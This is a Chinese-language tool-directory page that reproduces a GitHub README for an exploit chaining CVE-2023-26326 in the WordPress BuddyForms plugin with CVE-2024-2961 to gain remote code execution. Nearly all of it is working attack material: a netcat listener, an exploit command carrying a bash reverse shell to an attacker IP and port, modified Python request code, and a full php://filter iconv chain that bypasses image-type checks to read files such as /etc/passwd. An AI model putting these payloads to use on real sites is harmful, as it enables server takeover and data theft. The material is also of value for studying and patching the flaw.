Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
exploit_cve-2023-26326_using_cve-2024-2961 — 针对WordPress BuddyForms插件中CVE-2023-26326的漏洞利用,借助CVE-2024-2961实现远程代码执行。该利用通过将漏洞与php://filter链式结合,绕过了PHP 8+的反序列化限制。 | Kitploit
工具/GitHubGitHub/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Payload 开发
GitHubomarelshopky/exploit_cve-2023-26326_using_cve-2024-2961

exploit_cve-2023-26326_using_cve-2024-2961

针对WordPress BuddyForms插件中CVE-2023-26326的漏洞利用,借助CVE-2024-2961实现远程代码执行。该利用通过将漏洞与php://filter链式结合,绕过了PHP 8+的反序列化限制。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
1321年前尚未审核
分享

利用 Iconv(CVE-2024-2961)攻击 BuddyForms(CVE-2023-26326)

这项工作由我、Omar Elshopky 和 Nour El Dien Bassiouny 完成。

该仓库包含针对 WordPress BuddyForms 插件(CVE-2023-26326)的漏洞利用代码,最初由 Joshua Martinelle 在 安全公告 中报告。该漏洞利用利用了 Iconv,设置字符集实现 RCE:利用 glibc 攻击 PHP 引擎 博客中提出的技术,并由 @ambionics 在 cnext-exploits 仓库中实现。

最初,CVE-2023–26326 需要利用 gadget 链作为反序列化漏洞进行攻击。该方法在运行 PHP 8+ 的新版 WordPress 站点上已不再可行;然而,通过将其与 CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) 相结合,漏洞利用可通过 php://filter 实现,代替 phar://。

该漏洞利用通过修改 cnext-exploit.py 脚本创建,并加入了针对 CVE-2023-26326 的必要更改,详见更改说明。

用法

  1. 克隆仓库并设置虚拟环境:
root@kitploit:~
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git cd exploit_cve-2023–26326_using_cve-2024-2961 python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
  1. 在另一个终端中,在端口 <ATTACKER_PORT> 上启动一个 netcat 监听器以捕获反弹 shell:
root@kitploit:~
nc -lvnp <ATTACKER_PORT>
  1. 针对运行 PHP 8.3.x 且 BuddyForms 插件版本 < 2.7.8 的 WordPress 目标执行漏洞利用:
root@kitploit:~
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'

执行漏洞利用的截图

捕获反弹 shell 的截图

更改说明

保留了 CVE-2024-2961 漏洞利用的核心思想,但需要进行修改以适应该漏洞利用向网站发送过滤器链并从服务器下载文件。

发送过滤器链

在原始漏洞利用中,send 函数用于向服务器发送路径:

root@kitploit:~
def send(self, path: str) -> Response:
    return self.session.post(self.url, data={"file": path})

对于使用了 BuddyForms 的 WordPress,默认交互方式是通过 POST 请求到 /wp-admin/admin-ajax.php,请求体数据包含 action=upload_image_from_url&url=<注入点>&id=1&accepted_files=image/gif。URL 参数作为将过滤器链发送到服务器的注入点。由此,对 send 函数进行了以下修改:

root@kitploit:~
def send(self, path: str) -> Response:
    return self.session.post(self.url, data={
        "action" : "upload_image_from_url",
        "url" : urllib.parse.quote_plus(path),
        "id" : "1",
        "accepted_files" : "image/gif"
    })

下载文件

原始漏洞利用具有一个 download 函数,负责从服务器下载文件。原始漏洞利用中使用的是以下版本的 download 函数:

root@kitploit:~
def download(self, path: str) -> bytes:
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = self.send(path)
    data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
    return base64.decode(data)

为了适配 BuddyForms,我们分析了 buddyforms_upload_image_from_url 函数,该函数负责从 URL 上传图片。它使用 file_get_contents,通过 getimagesize() 检查文件类型,然后将内容保存到 wp-content/uploads 目录下。这使我们能够利用 php://filter 读取本地文件并将其保存到上传目录,从而通过 URL 访问。然而,我们必须绕过文件检查,方法是在文件内容前加上 GIF89a 以模拟 GIF 文件。这可以通过过滤器链实现,wrapwrap 工具可以生成所需的链:

root@kitploit:~
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

使用 wrapwrap 生成过滤器链

生成的过滤器链应替换原始脚本中使用的 base64 编码。此外,从响应中提取上传文件路径的格式需要更新,以适应 JSON 格式,其中 "response" 属性设置为文件路径。

root@kitploit:~
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
root@kitploit:~
{"status":"FAILED","response":"File type  is not allowed."}

请注意,在漏洞利用中使用文件内容之前,应移除前缀 GIF89a,最终修改后的 download 函数如下:

root@kitploit:~
def download(self, path: str) -> bytes:
    # 添加前缀 "GIF89a" 以绕过 getimagesize() 的文件类型检查
    path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
    response_data = self.send(path).json()

    if response_data == "FAILED":
        print(f"[-] Unable to download files, error message: {response_data['response']}")
        exit(0)

    file_path = response_data["response"]

    # 移除前缀 "GIF89a"
    return self.session.get(file_path).content[6:]

下载 libc.so.6

请注意,从服务器下载 libc.so.6 文件可能无法通过过滤器链正确完成,因为二进制文件会在过程中被修改。相反,应将正确的文件放置在漏洞利用的根目录下。

下载工具